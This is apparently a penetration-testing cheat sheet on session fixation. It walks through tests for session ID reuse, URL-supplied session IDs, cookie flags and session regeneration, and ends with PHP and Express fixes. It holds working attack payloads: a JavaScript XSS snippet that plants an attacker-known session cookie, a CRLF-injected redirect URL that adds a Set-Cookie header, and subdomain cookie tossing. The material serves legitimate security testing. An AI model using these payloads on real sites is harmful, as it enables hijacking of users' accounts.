# Step 1: Browse to login page → note session ID
GET /login HTTP/1.1
# Response: Set-Cookie: PHPSESSID=PRE_AUTH_ABC123; Path=/

# Step 2: Login with valid credentials (using that session)
POST /login HTTP/1.1
Cookie: PHPSESSID=PRE_AUTH_ABC123
email=test@test.com&password=correct_password

# Step 3: Check response Set-Cookie after login
# SECURE:     Set-Cookie: PHPSESSID=NEW_XYZ789  ← DIFFERENT = safe
# VULNERABLE: Set-Cookie: PHPSESSID=PRE_AUTH_ABC123  ← SAME = FIXATION!

# Step 4: Confirm — use PRE_AUTH session in new browser
GET /api/me HTTP/1.1
Cookie: PHPSESSID=PRE_AUTH_ABC123
# 200 OK with victim data = CONFIRMED Session Fixation

# Test if app accepts session ID from URL query string
https://target.com/login?PHPSESSID=ATTACKER_CHOSEN_ID
https://target.com/login?sessionid=ATTACKER_CHOSEN_ID
https://target.com/login?session_id=ATTACKER_CHOSEN_ID
https://target.com/login?sess=ATTACKER_CHOSEN_ID

# Step 1: Visit above URL
# Step 2: Check response cookie — did server use attacker ID?
Set-Cookie: PHPSESSID=ATTACKER_CHOSEN_ID  ← app accepted it!

# Step 3: Login on that page with valid credentials
# Step 4: Check if session ID still matches ATTACKER_CHOSEN_ID
# Step 5: From new browser, access authenticated endpoint:
curl -H "Cookie: PHPSESSID=ATTACKER_CHOSEN_ID" https://target.com/api/me
# 200 OK = URL-based Session Fixation confirmed

# Check all session cookies for missing security flags
curl -I https://target.com/login

# Missing HttpOnly → XSS can read/set cookie → enables fixation chain
Set-Cookie: session=ABC123; Path=/  ← ALL flags missing!

# Partial (still vulnerable to MITM and CSRF)
Set-Cookie: session=ABC123; Path=/; HttpOnly

# Fully secure
Set-Cookie: session=ABC123; Path=/; HttpOnly; Secure; SameSite=Strict

# Also check via Browser DevTools:
# F12 → Application → Cookies → HttpOnly column should be ✓

# 1. Standard login — must regenerate
Pre-login session S1 → Login → Post-login session S2 → S1 ≠ S2?

# 2. OAuth/SSO callback — must regenerate
GET /oauth/callback?code=AUTH_CODE
Session before redirect vs after callback — must differ

# 3. Password reset completion — must regenerate
POST /api/password/reset/confirm {token: "..."}
Session before reset vs after — must differ

# 4. 2FA completion — must regenerate
POST /api/auth/mfa/verify {otp: "123456"}
Session after password step vs after OTP — must differ

# 5. Logout — must invalidate old session
POST /api/logout
curl -H "Cookie: session=OLD_SESSION" https://target.com/api/me
# Must return 401 — old session should be dead

# Requires: XSS vulnerability + HttpOnly NOT set on session cookie

# Inject this payload where XSS exists on target.com:
<script>
// Set attacker's known session ID as victim's session cookie
document.cookie = 'session=ATTACKER_KNOWN_ID; path=/; domain=.target.com';
// Redirect victim to login page
window.location = 'https://target.com/login';
</script>

# What happens:
# 1. Victim visits XSS page → script fires
# 2. Victim's session cookie is now ATTACKER_KNOWN_ID
# 3. Victim logs in using that cookie
# 4. Attacker requests /api/me with ATTACKER_KNOWN_ID → full access

# Prevention: Set HttpOnly on all session cookies
# HttpOnly prevents JavaScript from reading/writing the cookie

# If attacker controls any subdomain of target.com
# They can set cookies for the entire .target.com domain

# Attacker's server at: evil.target.com or old.target.com
# Response header from attacker subdomain:
Set-Cookie: session=ATTACKER_ID; Domain=.target.com; Path=/

# Victim visits evil.target.com (via phishing/redirect)
# Cookie is now set for ALL of target.com
# Victim logs in at target.com → attacker uses ATTACKER_ID

# Prevention: Set cookie Domain= to exact hostname, not wildcard
Set-Cookie: session=ID; Domain=target.com  ← no leading dot

# Find a redirect parameter that reflects in Location header
GET /redirect?url=https://safe.com

# Inject CRLF to add Set-Cookie header:
GET /redirect?url=https://safe.com%0d%0aSet-Cookie:+session=ATTACKER_ID

# Vulnerable server responds:
HTTP/1.1 302 Found
Location: https://safe.com
Set-Cookie: session=ATTACKER_ID  ← injected via CRLF!

# Test: add %0d%0a (URL-encoded CRLF) + Set-Cookie to any redirect URL
# Fix: sanitize redirect parameters; reject %0d and %0a characters

// PHP — The most common fix
function loginUser($email, $password) {
    $user = authenticate($email, $password);
    if ($user) {
        session_regenerate_id(true);  // ← THE FIX — true deletes old session
        $_SESSION['user_id'] = $user['id'];
        $_SESSION['role']    = $user['role'];
        return true;
    }
    return false;
}

// Node.js / Express
app.post('/login', async (req, res) => {
    const user = await authenticate(req.body.email, req.body.password);
    if (user) {
        req.session.regenerate((err) => {  // ← THE FIX
            req.session.userId = user.id;
            res.json({ success: true });
        });
    }
});

// Secure cookie configuration (all frameworks)
Set-Cookie: session=ID; HttpOnly; Secure; SameSite=Strict; Path=/